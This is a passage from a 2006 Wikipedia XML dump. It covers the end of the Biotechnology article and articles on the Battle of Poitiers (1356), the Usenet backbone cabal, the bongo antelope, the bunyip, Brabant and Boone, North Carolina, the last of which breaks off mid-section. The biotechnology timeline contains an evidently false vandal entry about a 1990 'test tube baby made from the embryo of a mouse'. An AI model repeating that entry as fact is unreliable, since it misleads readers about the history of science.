'''Green biotechnology''' is biotechnology applied to [[agricultural]] processes.  An example is the designing of an organism to grow under specific environmental conditions or in the presence (or absence) of certain agricultural chemicals. One hope is that green biotechnology might produce more environmentally friendly solutions than traditional industrial agriculture.  An example of this is the engineering of a plant to express a [[pesticide]], thereby eliminating the need for external application of pesticides. Whether or not green biotechnology products such as this are ultimately more environmentally friendly is a topic of considerable debate.

'''[[Bioinformatics]]''' is an interdisciplinary field which addresses biological problems using computational techniques. The field is also often referred to as computational biology. It plays a key role in various areas like functional genomics, structural genomics, and proteomics amongst others, and forms a key component in biotechnology and pharmaceutical sector.

The term '''blue biotechnology''' has also been used to describe the marine and aquatic applications of biotechnology, but its use is relatively rare.

==Biotechnology timeline==

* 8000 BCE Collecting of [[seed]]s for replanting. Evidence that [[Mesopotamia]]n people used [[selective breeding]] ([[artificial selection]]) practices to improve [[livestock]].
* 6000 BCE Brewing [[beer]], [[fermenting]] [[wine]], baking [[bread]] with help of [[yeast]]
* 4000 BCE Chinese made [[yoghurt|yogurt]] and [[cheese]] with [[lactic acid|lactic-acid-producing]] bacteria
* 1500 CE Plant collecting around the world
* 1590 CE The microscope is invented by [[Zacharias Janssen]]. 
* 1675 CE Microorganisms discovered (using first microscope)
* 1857 CE [[Gregor Mendel]] discovered the [[laws of inheritance]]
* 1919 CE [[Karl Ereky]], a Hungarian agricultural engineer, first used the word biotechnology
* 1953 CE [[James D. Watson]] and [[Francis Crick]] describe the structure of [[DNA]]
* 1972 CE The DNA composition of humans is discovered to be 99% similar to that of chimpanzees and gorillas.
* 1975 CE Method for producing [[monoclonal antibody]] developed by Kohler and Milstein
* 1980 CE Modern biotech is characterized by [[recombinant DNA technology]]. The [[prokaryote]] model,  ''[[E. coli]]'', is used to produce [[insulin]] and other medicine, in human form. (About 5% of diabetics are allergic to animal insulins available before)
* 1980 CE A viable brewing yeast strain Saccharomyces cerevisiae 1026 acts a modifier of the microflora in the rumen of cows and digestive tract of horses)
* 1984 CE Nutrigenomics as applied science in animal nutrition
* 1990 CE Adam Williams was the first test tube baby made from the embryo of a mouse
* 1994 CE FDA approves of the first GM food from [[Calgene]]: &quot;Flavr Savr&quot; tomato
* 1997 CE British scientists from the Roslin Institute report cloning a sheep called [[Dolly]] using DNA from two adult sheep cells. [[Ian Wilmut]] led the team that cloned Dolly.
* 2000 CE Completion of the [[Human genome Project]]
* 2002 CE Researchers sequence the DNA of [[rice]], the main food source for two-thirds of the world's population.  Rice is the first crop to have its genome decoded.
* 2003 CE [[GloFish]], the first biotech pet, hits the North American market. Specially bred to detect water pollutants, the fish glows red under black light thanks to the addition of a natural [[bioluminescence]] gene.
* 2006 CE Scientists in Asia implant the DNA of a jellyfish into a pig embryo, creating the first bioluminescent pig.

==Biotechnology firms==

The top 10 publicly-traded biotechnology companies, ranked by 2008 sales, are:

#[[Amgen]]
#[[Genentech]]
#[[Serono]]
#[[Biogen Idec]]
#[[Chiron Corporation]]
#[[Genzyme]]
#[[MedImmune]]
#[[Pfizer]]
#[[Millennium Pharmaceuticals]]
#[[Applied Biosystems]]

==Key visionaries and personalities in biotechnology sector==

[[Finland]]

:[[Leena Palotie]]

[[Iceland]]

:[[Kari Stefansson]]

Ireland

:[[Dr. Thomas Peasre Lyons]]...

USA

:[[Kate Jacques]], [[David Botstein]], [[Craig Venter]], [[Sydney Brenner]], [[Eric Lander]], [[Leroy Hood]], [[Robert Langer]], [[Henry I. Miller]], [[Roger Beachy]], [[William Rutter]], [[George Rathmann]], [[Robert Swanson]], [[Michael West]], [[Thomas Okarma]]...

Canada

:To be updated...

Europe

:[[Paul D Kemp]]...
:[[Soren Demin-Inst. of Biotechnology-Cambridge University]]
Asia Pacific

India
:[[Kiran Mazumdar-Shaw]] ([[Biocon]])

==See also==

* [[Agrobacterium]]
* [[Biochemistry]]
* [[Bioengineering]]
* [[Biomedical Engineering]]
* [[Biopharmaceutical]]s
* [[Bioreactor]]
* [[Biorobotics]]
* [[Cell culture]]
* [[Directive on the patentability of biotechnological inventions|EU Directive on the patentability of biotechnological inventions]]
* [[Eugenics]]
* [[Expression vector]]
* [[Genetic engineering]]
* [[Genetically modified food]]
* [[Industrial biotechnology]]
* [[Intein]]
* [[List of environment topics]]
* [[List of publications in biology#biotechnology]]
* [[Molecular biology]]
* [[Tissue Engineering]]
* [[Selective breeding]]
* [[Substantial equivalence]]

===Compare with===
*[[Biomimetics]]


== External links ==
  
*[http://www.buildingbiotechnology.com Building Biotechnology]
*[http://www.biotecnologia.co.cr Costa Rican Biotechnology Society]
*[http://www.nanoindian.com NanoBiotechnology in India]
*[http://www.bioquimica.cl Chile's Biotechnology Society]
*[http://www.fda.gov/ FDA Website] 
*[http://www.kriger.com/training/index.htm Biotech Research Training]
*[http://groups.yahoo.com/group/biotech-news/ Biotech News]
*[http://www.biorole.com/ Careers in Biotechnology]
*[http://www.bigroup.co.il/ Tools and Solutions for biotechnology]
*[http://www.clinqua.com/ Clinical Research Services]
*[http://www.ibpassociation.com Biotechnology Companies Listings]
*[http://www.kriger.com/ International Clinical Research Services and Corporate Trainings]
*[http://www.krctraining.com/ACRONYMS/index.htm Biotechnology Abbreviations and Acronyms]
*[http://www.krctraining.com/CRA%20Definitions/index.htm Biotechnology Glossary / Definitions]
*[http://www.kriger.com/international_modules/index.htm List of Food and Drugs Regulatory Agencies]
*[http://www.krctraining.com/faq/faq.htm Biotechnology: Frequently asked questions]
*[http://www.arizonabiotech.com/ Arizona Biotech]
*[http://www.biologynews.net/archives/biotechnology/ Biotechnology News - Biology News Net]
*[http://www.gene-watch.org Council for Responsible Genetics]
*[http://www-esbs.u-strasbg.fr/EN/index.html Trinational Biotechnology Degree: Ecole Supérieure de Biotechnologie de Strasbourg (ESBS)]
* [http://www.fao.org/ag/ FAO Agriculture Department] and its [http://www.fao.org/docrep/006/y5160e/y5160e00.HTM SOFA report on Agricultural Biotechnology] focussing on the impacts of &quot;Green&quot; Biotechnology
*[http://www.greenfacts.org/gmo/index.htm Agricultural Biotechnology] &amp;ndash;  A summary for non-specialists of the above FAO report by [[GreenFacts]].
*[http://dbtindia.nic.in/ Department of Biotechnology, Government of India]

{{Technology}}

[[Category:Biotechnology| ]]

[[bn:জৈবপ্রযুক্তি]]
[[ca:Biotecnologia]]
[[cs:Biotechnologie]]
[[de:Biotechnologie]]
[[es:Biotecnología]]
[[eo:Biotekniko]]
[[fr:Biotechnologie]]
[[hr:Biotehnologija]]
[[id:Bioteknologi]]
[[it:Biotecnologia]]
[[he:ביוטכנולוגיה]]
[[la:Biotechnologia]]
[[hu:Biotechnológia]]
[[nl:Biotechnologie]]
[[ja:バイオテクノロジー]]
[[pl:Biotechnologia]]
[[ru:Биотехнология]]
[[sl:Biotehnologija]]
[[sr:Биотехнологија]]
[[su:Biotéknologi]]
[[ta:உயிரித் தொழில்நுட்பம்]]
[[th:เทคโนโลยีชีวภาพ]]
[[vi:Công nghệ sinh học]]
[[tr:Biyoteknoloji]]
[[uk:Біотехнологія]]
[[zh:生物工程学]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Poitiers (1356)</title>
    <id>4503</id>
    <revision>
      <id>41863861</id>
      <timestamp>2006-03-02T05:37:53Z</timestamp>
      <contributor>
        <username>Iamthejabberwock</username>
        <id>531901</id>
      </contributor>
      <comment>replaced secondary source with primary</comment>
      <text xml:space="preserve">:''The [[Battle of Tours]] (732) is sometimes also known as the &quot;Battle of Poitiers.&quot;''
{{Infobox Military Conflict
|conflict=Battle of Poitiers
|partof=the [[Hundred Years' War]]
|image=[[Image:Battle-poitiers.jpg]]
|caption=The French King during the battle, before being captured
|date=[[September 19]], [[1356]]
|place=Near [[Maupertuis]], south of [[Poitiers]], [[France]]
|result=Decisive English Victory
|combatant1=[[England]] &lt;br /&gt; [[Gascony]]
|combatant2=[[France]]
|commander1=[[Edward, the Black Prince]]&lt;br /&gt; [[Captal de Buch]]
|commander2=[[John II of France]]
|strength1=9,000
|strength2=12,000
|casualties1=Minimal
|casualties2=2,500&lt;br&gt; killed or wounded
}}
{{Campaignbox Hundred Years' War}}
The '''Battle of Poitiers''' was fought between [[England]] and [[France]] on [[September 19]], [[1356]], resulting in the second of the three great English victories of the [[Hundred Years' War]]. 

On [[August 8]], [[1356]], [[Edward, the Black Prince]] began a great ''chevauchée'' (raid) north from the English base in [[Aquitaine]], in efforts to relieve allied garrisons in central [[France]], as well as to raid and destroy the countryside.  His sortie worked without much resistance, his Anglo-Gascon forces burning numerous towns to the ground and living off the land, until they reached the River [[Loire]] at [[Tours]], where his army was unable to take the castle; nor could they burn the town due to a heavy downpour.  His delay there allowed [[John II of France|John II, King of France]], to attempt to catch his army and eliminate it.  The King, who had been confronting [[John of Gaunt|John of Gaunt, duke of Lancaster]], in Normandy, arranged the bulk of his army at [[Chartres]] to the north of the besieged Tours, dismissing around 15,000&amp;ndash;20,000 of his low-grade infantry to speed the chase to the Black Prince's position.  This made the two armies surprisingly similar in size, an unusual occurrence in the Hundred Years War.

[[Image:Battle poitiers maneuvering.gif|thumb|200px|Pre-battle maneuvers prior to the Battle of Poitiers]]
[[Image:Battle poitiers.gif|thumb|200px|Map of the Battle of Poitiers]]

Upon receiving the reports of the French army on the move, Edward decided a retreat was in order.  He marched south being pursued in earnest by John.  The French caught up to the English a few miles southwest of [[Poitiers]].  A veteran of the [[Battle of Crecy|battle of Crécy]], at which he fought when he was only sixteen years old, the Black Prince decided on the same tactical scheme employed at that battle. He adopted for his troops a strongly defensive position, in a plane ground surrounded with natural obstacles, such as a creek on the left and a wood on the back. The luggage wagons, with a great amount of plunder, remained along the old Roman road, the main route from Poitiers to Bordeaux, to ensure protection on his weak right side. All men dismounted and were organized in two, perhaps three units, with the Welsh [[english longbow|longbowmen]] placed in a V-formation in both flanks. The Black Prince kept a small cavalry unit, commanded by Jean de Grailly, the [[Captal de Buch]], hidden in the woods at the rear.

The attacking French forces were divided in four parts. At the front were around 300 elite knights, commanded by general Clermont and accompanied by German mercenaries (pikemen). The purpose of this group was to charge on the English archers and eliminate the threat they posed. These were followed by three groups of infantry (dismounted cavalry, in this case) commanded by the [[Charles V of France|Dauphin, (later Charles V of France)]], the [[Duke of Orléans]] and King John. 

Right at the beginning of the battle, the English simulated flight on their left wing. This provoked a hasty charge by the French knights against the archers. However, they were expecting this and quickly attacked the enemy, especially the horses, with a shower of arrows. Froissart writes that the French knight's armour was invulnerable to the English arrows, that the arrowheads either skid off the armour or shattered on impact.  The armour on the horses, however, was weak on the sides and back, so the English archers moved to the sides of the cavalry and shot the horses in the flanks.  The results were devastating. This attack was followed by the Dauphin's infantry, who engaged in heavy fighting, but withdrew to regroup. The next wave of infantry under Orléans, seeing that the Dauphin's men were not attacking, turned back and panicked. This stranded the forces that were led by the King himself. This was a formidable fighting force, and the Welsh archers were out of arrows: the archers joined the infantry in the fight and some of both groups picked up horses to form an improvised cavalry. Combat was hard, but the Black Prince had still a mobile reserve hidden in the woods, which were able to circle around and attack the French in the flank and rear. The French were fearful of this encirclement and attempted to flee. King John was captured with his immediate entourage.

The result was a decisive French defeat, not only in military terms, but it was also an economic defeat: France would be asked to pay a [[ransom]] equivalent to twice the country's yearly income to have her king back, an impossible sum, and he would eventually die a prisoner in England. In many ways Poitiers was a repeat of the [[Battle of Crécy]] showing once again that tactics and strategy can overcome a minor difference in numbers.

==See also==
* The [[Battle of Tours]] in [[732]] is sometimes called the &quot;Battle of Poitiers&quot; as well.

==External links==
*[http://www.fordham.edu/halsall/source/froissart1.html ''On The Hundred Years War'', a primary source written by Jean Froissart]

==References==
*Green, David. ''The Battle of Poitiers 1356'', (2004), ISBN 0752425579
*Nicolle, David. ''Poitiers 1356:  The Capture of a King'', (2004), ISBN 1841765163

[[Category:1356]]
[[Category:Battles of the Hundred Years' War|Poitiers 1356]]

[[ca:Batalla de Poitiers]]
[[de:Schlacht bei Maupertuis]]
[[es:Batalla de Poitiers (1356)]]
[[fr:Bataille de Poitiers (1356)]]
[[io:Poitiers-batalio (1356)]]
[[it:Battaglia di Poitiers (1356)]]
[[pl:Bitwa pod Poitiers (1356)]]
[[pt:Batalha de Poitiers (1356)]]
[[ru:Битва при Пуатье (1356)]]
[[fi:Poitiersin taistelu (1356)]]
[[sv:Slaget vid Poitiers (1356)]]</text>
    </revision>
  </page>
  <page>
    <title>Backbone cabal</title>
    <id>4505</id>
    <revision>
      <id>39823858</id>
      <timestamp>2006-02-16T02:48:45Z</timestamp>
      <contributor>
        <username>BalooUrsidae</username>
        <id>103137</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">The '''backbone cabal''' was a group (or [[cabal]]) of large-site administrators who pushed through the [[Great Renaming]] and reined in the chaos of [[Usenet]] during most of the 1980s.

[[Gene Spafford|Gene &quot;Spaf&quot; Spafford]] is said to have organized the backbone in [[1983]] to stabilize the Usenet propagation. [http://www-cse.stanford.edu/classes/cs201/projects-98-99/controlling-the-virtual-world/history/rename.html], [http://www.vrx.net/usenet/history/rename/] While many news servers operated during night time to save the cost of long distance communication, servers of the backbone were available 24 hours a day.  

During most of its lifetime, the Cabal (sometimes [[majuscule|capitalized]]) steadfastly denied its own existence; it was almost obligatory for anyone
privy to their secrets to respond &quot;[[There Is No Cabal|There is no Cabal]]&quot; whenever the existence or activities of the group were speculated on in public. 

The result of this policy was an attractive aura of mystery. Even a decade after the cabal mailing list disbanded in late 1988 following a bitter
internal catfight, many people believed (or claimed to believe) that it had not actually disbanded but only gone deeper underground with its power
intact. 

This belief became a model for various paranoid theories about various Cabals with dark nefarious objectives beginning with taking over the
Usenet or [[Internet]]. These paranoias were later satirized in ways that took on a life of their own. Follow-ons include the [[Eric Conspiracy]] of mustached [[hacker]]s named &quot;Eric&quot;; and the [[Lumber Cartel]] putatively funding anti-[[spamming|spam]] efforts to support the paper industry.

==External links==

*[http://www.catb.org/~esr/jargon/html/B/backbone-cabal.html Jargon File entry]
*[[Ursine:Backbone cabal]] in [[Ursine:Main Page|Ursine]]'s [[Ursine:Jargon|Jargon Wiki]].
*[http://www.faqs.org/faqs/usenet/cabal-conspiracy-FAQ/ Cabal Conspiracy FAQ]
*[http://www.catb.org/esr/jargon/html/L/Lumber-Cartel.html Lumber Cartel]

[[Category:Usenet]]</text>
    </revision>
  </page>
  <page>
    <title>Bongo (antelope)</title>
    <id>4506</id>
    <revision>
      <id>40810162</id>
      <timestamp>2006-02-23T03:58:55Z</timestamp>
      <contributor>
        <ip>71.142.8.163</ip>
      </contributor>
      <comment>cleanup link</comment>
      <text xml:space="preserve">''For other articles titled &quot;Bongo&quot; refer to the [[Bongo|disambiguation page]].''

{{Taxobox
| color = pink
| name = Bongo
| status = {{StatusEndangered}}
| image = Bongo Burger Zoo.jpg
| image_width = 200px
| image_caption = A Bongo, courtesy of [http://www.animalport.com Animal Portal]
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Artiodactyla]]
| familia = [[Bovidae]]
| subfamilia = [[Bovinae]]
| genus = '''''[[Tragelaphus]]'''''
| species = '''''T. eurycerus'''''
| binomial = ''Tragelaphus eurycerus''
| binomial_authority = ([[William Ogilby|Ogilby]], [[1837]])
}}

The '''Bongo''' is a type of [[antelope]] that lives in rain forests in Central, East, and West [[Africa]].  Its scientific name is ''Tragelaphus eurycerus'', in the [[subgenus]] ''boocerus'', which is sometimes made a full [[genus]].  The bongo has red-brown fur with a black belly and white stripes on its sides.  It has white spots on its cheeks and a ridge of fur along its back.  It has large ears and can weigh as much as 900 pounds (400 kg).  Both male and female bongos have spiral horns.    

Bongos eat an [[herbivorous]] diet including bamboo and shrubs.  [[Leopard|Leopards]], [[hyena|spotted hyenas]], [[lion|lions]], and humans prey on them; [[Pythonidae|pythons]] sometimes eat bongo calves.  

Bongos are mainly [[nocturnal]] and easily startled.  Bongo populations have been greatly reduced by hunting and snares, although some bongo refuges exist.

==External links==
Animal diversity - [http://animaldiversity.ummz.umich.edu/site/accounts/information/Tragelaphus_eurycerus.html]
{{Commons|Tragelaphus eurycerus}}

[[Category:Bovines]]
[[Category:Wildlife of Africa]]

[[de:Bongo (Antilope)]]
[[fr:Tragelaphus eurycerus]]
[[lt:Bonga]]
[[nl:Bongo (antilope)]]</text>
    </revision>
  </page>
  <page>
    <title>Bunyip</title>
    <id>4507</id>
    <revision>
      <id>41749635</id>
      <timestamp>2006-03-01T13:47:50Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Myth]] to [[Mythology]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">:''This article is about a mythical creature. There is also a town called [[Bunyip, Victoria]]''
The '''bunyip''' (&quot;devil&quot; or &quot;spirit&quot;) is a [[Mythology|myth]]ical [[animal|creature]] from [[Australia]]n [[Aboriginal mythology]].

==Characteristics==
Descriptions of bunyips vary wildly. Common features in Aboriginal drawings include a [[horse]]-like tail, flippers, and [[walrus]]-like tusks. According to legend, they are said to lurk in [[swamp]]s, [[billabong]]s, [[Creek (stream)|creek]]s, [[river]]beds, and [[waterhole]]s. At night their blood-curdling cries can be heard as they devour any animal or [[human]] that ventures near their abodes. Their favourite prey is human [[woman|women]]. They also bring [[disease]]s.
[[Image:Bigteeth-1-.jpg|thumb|230px|The Bunyip by C. Douglas Richardson, illustrator
Reproduced from Joshua Lake (ed.)
Childhood in Bud and Blossom 
(Melbourne: Atlas Press, 1900) 
National Library of Australia 
]]

==Reality or myth?==
During the early settlement of Australia, the notion that the bunyip was an actual unknown animal that awaited discovery became common.  Early European settlers, unfamiliar with the sights and sounds of the island continent's peculiar fauna, regarded the bunyip as one more strange Australian animal, and sometimes attributed unfamiliar calls or cries to it.  At one point, the discovery of a strange skull in an isolated area associated with these 'bunyip calls' seemed to provide physical evidence of the bunyip's existence.

In 1846 a peculiar skull was taken from the banks of [[Murrumbidgee River]] in New South Wales. In the first flush of excitement, several experts concluded that it was the skull of something unknown to science. In 1847 the so-called bunyip skull was put on exhibitin in the Australian Museum (Sydney) for two days. Visitors flocked to see it and the [[Sydney Morning Herald]] said that it prompted many people to speak out about their 'bunyip sightings'  &quot;Almost everyone became immediately aware that he had heard 'strange sounds' from the lagoons at night, or had seen 'something black' in the water.&quot;  It was eventually concluded that it was a 'freak of nature' and not a new species.  However, a final mystery remains- What happened to the 'bunyip skull'?  It disappeared from the museum and has never been sighted since. [http://www.nla.gov.au/exhibitions/bunyips/html-site/evidence/skull.html]

As European exploration of Australia proceeded, the bunyip increasingly began to be regarded as a mythical animal.  The mysterious skull was later identified as that of a disfigured horse or calf.  The expression 'why search for the bunyip?' emerged from repeated attempts by Australian adventurers to capture or sight the bunyip, the phrase indicating that a proposed course of action is fruitless or impossible.

==Explanations==
Although no documented physical evidence of bunyips has been found, it has been suggested that tales of bunyips could be Aboriginal memories of the [[diprotodon]], or other extinct [[Australian megafauna]] which became extinct some 50,000 years ago. The cries of the [[possum]] or [[koala]] could likely be mistaken for the bunyip, as most people are surprised to find koalas or possums are capable of such loud roars. The Barking Owl, a nocturnal bird that lives around swamps and billabongs in the Australian bush is sometimes credited for making the sounds of the bunyip. It has been proven that the Barking Owl screams like a woman injured or in trouble and many Aboriginal stories relate this to the noise the bunyip makes. The Barking owl's call can vary to a child's scream also.

==Bunyips in popular culture==

*&quot;Dot and the Kangaroo&quot; animated musical feature from Australia (1977) showed an aboriginal painting representation of the feared bunyip during the song about the bunyip.
*During the [[1980s]], Australian children's television and literature featured a more friendly version of the bunyip - &quot;Alexander Bunyip&quot; created by [[Michael Salmon]].
*During the [[1950s]] and [[1960s]], &quot;[[Bertie the Bunyip]]&quot; was a children's show in [[Philadelphia]], [[Pennsylvania]], created by [[Lee Dexter]], an Australian. [http://www.tvparty.com/lostbertie.html] 
*A popular [[New Zealand]] [[reggae]] band was named after the Bunyip, with a career that spanned from 1998 to 2003. 
*In the [[PlayStation]] game ''[[Chrono Cross]]'', a Bunyip is a boss monster in Fort Dragonia. It starts as a red innate monster, but transforms into a hulking black cyclops halfway through the battle.
*In the videogame ''[[Ty The Tasmanian Tiger]]'', Bunyips are important characters along with a cast of other Australian creatures.  A bunyip is also an armored creature in the ''[[Final Fantasy]]'' series.

==Alternate meanings==
The word ''bunyip'' is also used as a nickname for rabbits due to the obvious similarity to the word 'bunny'.

==See also==
* [[Bunyip aristocracy]]
* [[Greta Bunyip]]
* [[Yowie (cryptid)|Yowie]]
* [[Drop bear|Drop Bear]]

==External links==
*[http://www.cryptozoology.com/cryptids/bunyip.php The Bunyip: Mythical Beast, Modern-day Monster]
*[http://www.nla.gov.au/exhibitions/bunyips/ Bunyips ... enter the lair of the bunyip if you dare] - interactive for kids / National Library of Australia

[[Category:Cryptids]]
[[Category:Folklore of Australia]]

[[de:Bunyip]]
[[fr:Bunyip]]
[[nl:Bunyip]]
[[pl:Bunyip]]
[[fi:Bunyip]]</text>
    </revision>
  </page>
  <page>
    <title>Brabant</title>
    <id>4508</id>
    <revision>
      <id>40934498</id>
      <timestamp>2006-02-23T23:47:39Z</timestamp>
      <contributor>
        <username>Hede2000</username>
        <id>284384</id>
      </contributor>
      <minor />
      <comment>+da:</comment>
      <text xml:space="preserve">Historically, '''Brabant''' has been the name of several administrative entities in the [[Low Countries]] with quite different geographical extent:
* as Carolingian [[shire]] (pagus Bracbatensis), located between the rivers [[Scheldt]] and [[Dijle]] (between 9th-11th century);
* as [[landgraf|landgraviat]]: the part of the shire between the rivers [[Dender]] and Dijle (from 1085/1086 up to 1183/1184);
* as [[duchy]]: territory covering approximately the present [[Netherlands|Dutch]] province [[North Brabant]], the three Belgian provinces [[Antwerp (province)|Antwerp]], [[Walloon Brabant]] and [[Flemish Brabant]], and the [[Brussels-Capital Region]].
* as a [[province]] of [[Belgium]].  
 
==Duchy of Brabant==
[[Image:brabant_map.gif|thumb|Map of the Duchy of Brabant; territory covering approximately the present province of [[North Brabant]], the three Belgian provinces [[Antwerp (province)|Antwerp]], [[Walloon Brabant]] and [[Flemish Brabant]], and the [[Brussels-Capital Region]].]]
The Duchy of Brabant was formally erected in 1183/1184. The title &quot;[[Duke of Brabant]]&quot; was created by the German Emperor [[Frederick I, Holy Roman Emperor|Frederick]] Barbarossa in favour of [[Henry I, Duke of Brabant|Henry I of Brabant]], son of [[Godfrey III of Leuven, Duke of Lower Lotharingia]]. The Duchy of Brabant was a feudal elevation of the already existing title of [[Landgrave]] of Brabant. This imperial fief was assigned to Count [[Henry III of Leuven]] about 1085/1086, more exactly after the death of the preceding Count of Brabant, Count Palatine Herman II of Lotharingia (+ [[September 20]], [[1085]]). 
Although the corresponding county was quite small (limited to the territory between the rivers Dender en Zenne, situated to the west of Brussels) its name was applied to the entire country under control of the Dukes from the 13th century on. 
In 1190, after the death of Godfrey III, [[Henry I, Duke of Brabant|Henry I of Brabant]] also became Duke of Lower Lotharingia, a title practically without territorial authority. According to protocol, all his successors where therefore called Dukes of Brabant and Lower Lotharingia (lateron [[Duke of Lothier|Lothier]]).

After the [[Battle of Worringen]] in [[1288]], the dukes of Brabant also acquired the [[Duchy of Limburg]]. In [[1354]] the [[Blijde Inkomst]], or charter of liberty was granted to the citizens of Brabant by [[John III, Duke of Brabant]]. In [[1430]], the Duchies of Lotharingia, Brabant and Limburg were inherited by [[Philip the Good]] of [[Burgundy]]. In [[1477]] the titles fell to the [[Habsburg]]s by dowry of [[Mary of Burgundy]]. The subsequent history of Brabant is part of the history of the Low Countries ([[Seventeen Provinces]]). 

The [[Eighty Years' War]] ([[1568]] - [[1648]]) brought independence from the Habsburgs for the northern provinces. After the [[Treaty of Westphalia]] in [[1648]], the [[Republic of the Seven United Provinces of the Netherlands|United Provinces]]' ''de jure'' independence was confirmed and the northern part of Brabant, which was already under Dutch military control, was ceded to the United Provinces as [[Staats-Brabant]], a federally governed territory (the present [[North Brabant]]). The southern part remained in Habsburg hands as a part of the [[Southern Netherlands]]. It was transferred to the [[Austria|Austrian]] family branch in [[1714]]. During the French occupation of the Southern Netherlands in [[1795]] the duchy of Brabant was dissolved. The territory was reorganised in the ''[[The 130 départements|départements]]'' of [[Deux-Nèthes]] (present [[Antwerp (province)|province of Antwerp]]) and [[Dyle (département)|Dyle]] (the later province of Brabant).

==Province of Brabant==

After the defeat of Napoleon in [[1815]] ([[Battle of Waterloo]]), the [[United Kingdom of the Netherlands]] (consisting of modern day Netherlands, Belgium and [[Luxembourg]]) was created at the [[Congress of Vienna]] in [[1815]]. The former ''département'' [[Dyle (département)|Dyle]] became the new '''province of Brabant'''. With the Belgian independence of [[1830]], Brabant became the central province of Belgium with capital town [[Brussels]]. 

In [[1989]] [[Brussels-Capital Region]] was created, but the region was still part of the province of Brabant. In [[1995]] the province of Brabant was split into the Dutch speaking [[Flemish Brabant]], the French speaking [[Walloon Brabant]] and the bilingual Brussels-Capital Region.

Along the international border between the Netherlands and Belgium there are a few [[enclave]]s and [[exclave]]s, as relicts of the old duchy of Brabant: the municipalities [[Baarle-Hertog]] (Belgium) and [[Baarle-Nassau]] (Netherlands).

==See also==

* [[North Brabant]], a province of the [[Netherlands]].
* [[Flemish Brabant]], a province of [[Belgium]], [[Flemish Region]]. 
* [[Walloon Brabant]], a province of [[Belgium]], [[Wallonia]]. 
* [[Brabantic]], a dialect of the [[Dutch language]].
* [[Duke of Brabant]]
* [[Brabant, West Virginia]], USA.
* [[Belgian (horse)|Brabant]] can also refer to the Belgian Heavy Horse.
* [[Brabant Island]], in [[Antarctica]]

[[Category:Brabant]]
[[Category:Former polities in the Netherlands]]
[[Category:States of the Holy Roman Empire]]

[[cs:Brabant]]
[[da:Brabant]]
[[de:Herzogtum Brabant]]
[[fr:Brabant (homonymie)]]
[[nl:Brabant]]
[[pl:Brabancja]]
[[sv:Brabant]]</text>
    </revision>
  </page>
  <page>
    <title>Back-Cover Texts</title>
    <id>4509</id>
    <revision>
      <id>15902775</id>
      <timestamp>2003-11-08T02:12:45Z</timestamp>
      <contributor>
        <username>Angela</username>
        <id>8551</id>
      </contributor>
      <minor />
      <comment>#redirect [[GNU Free Documentation License]]</comment>
      <text xml:space="preserve">#redirect [[GNU Free Documentation License]]</text>
    </revision>
  </page>
  <page>
    <title>Boone, North Carolina</title>
    <id>4512</id>
    <revision>
      <id>41644060</id>
      <timestamp>2006-02-28T19:25:57Z</timestamp>
      <contributor>
        <username>Suamme1</username>
        <id>536187</id>
      </contributor>
      <comment>/* External links */ transit link</comment>
      <text xml:space="preserve">'''Boone''' is a town located in the northern mountains of [[North Carolina]] and in [[Watauga County, North Carolina]], for which it is the county seat{{GR|6}} and market town.  As of the [[2000]] census, the town had a total population of 13,472.  

Boone acquires its name from the famous pioneer and explorer [[Daniel Boone]], who on several occasions camped at a site generally agreed to be within the present city limits.  Boone was served by the legendary narrow gauge [[East Tennessee and Western North Carolina Railroad]] (ET&amp;WNC) (also known as &quot;Tweetsie Railroad&quot;).

Boone is the site of the [[Appalachian State University]] (ASU), a constituent member of the University of North Carolina. It has an enrollment that exceeds 14,000.  

&quot;''[[Horn in the West]]''&quot;, a dramatization of the life and times of Daniel Boone, has been performed in an outdoor [[amphitheatre]] above the town every summer since 1952. The original &quot;Daniel Boone&quot; was [[Ned Austin]], whose &quot;Hollywood Star&quot; stands on a pedestal on King Street downtown. The multi Grammy award winner,guitar player [[Doc Watson]] also comes from the Boone area, as do many bluegrass musicians and Appalachian storytellers. 


== Geography ==
[[Image:NCMap-doton-Boone.PNG|right|Location of Boone, North Carolina]]
Boone is located at 36&amp;deg;12'41&quot; North, 81&amp;deg;40'7&quot; West (36.211364, -81.668657){{GR|1}} and has an elevation of 3266 ft above mean sea level. An earlier survey gave the elevation as 3332 ft and since then it has been published as having an elevation of 3333 ft. Boone has the highest elevation of any town of its size (over 10,000 population) east of the Mississippi River. As such, the climate of Boone is closer to that of New England or the upper Midwest than the South.

According to the [[United States Census Bureau]], the town has a total area of 15.1 [[square kilometre|km&amp;sup2;]] (5.8 [[square mile|mi&amp;sup2;]]).  15.1 km&amp;sup2; (5.8 mi&amp;sup2;) of it is land and none of the area is covered with water.

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 13,472 people, 4,374 households, and 1,237 families residing in the town.  The [[population density]] is 890.7/km&amp;sup2; (2,307.0/mi&amp;sup2;).  There are 4,748 housing units at an average density of 313.9/km&amp;sup2; (813.0/mi&amp;sup2;).  The racial makeup of the town is 93.98% [[White (U.S. Census)|White]], 3.42% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.30% [[Native American (U.S. Census)|Native American]], 1.19% [[Asian (U.S. Census)|Asian]], 0.05% [[Pacific Islander (U.S. Census)|Pacific Islander]], 0.46% from [[Race (U.S. Census)|other races]], and 0.60% from two or more races.  1.64% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 4,374 households out of which 9.6% have children under the age of 18 living with them, 21.0% are [[Marriage|married couples]] living together, 5.6% have a female householder with no husband present, and 71.7% are non-families. 38.4% of all households are made up of individuals and 7.3% have someone living alone who is 65 years of age or older.  The average household size is 1.97 and the average family size is 2.63.

The age distribution is 5.8% under the age of 18, 65.9% from 18 to 24, 12.1% from 25 to 44, 9.1% from 45 to 64, and 7.1% who are 65 years of age or older. The median age is 21 years. Both the overall age distributon and the median age are typical for communities dominated by a large university, here Appalachian State. For every 100 females there are 95.6 males.  For every 100 females age 18 and over, there are 94.7 males.

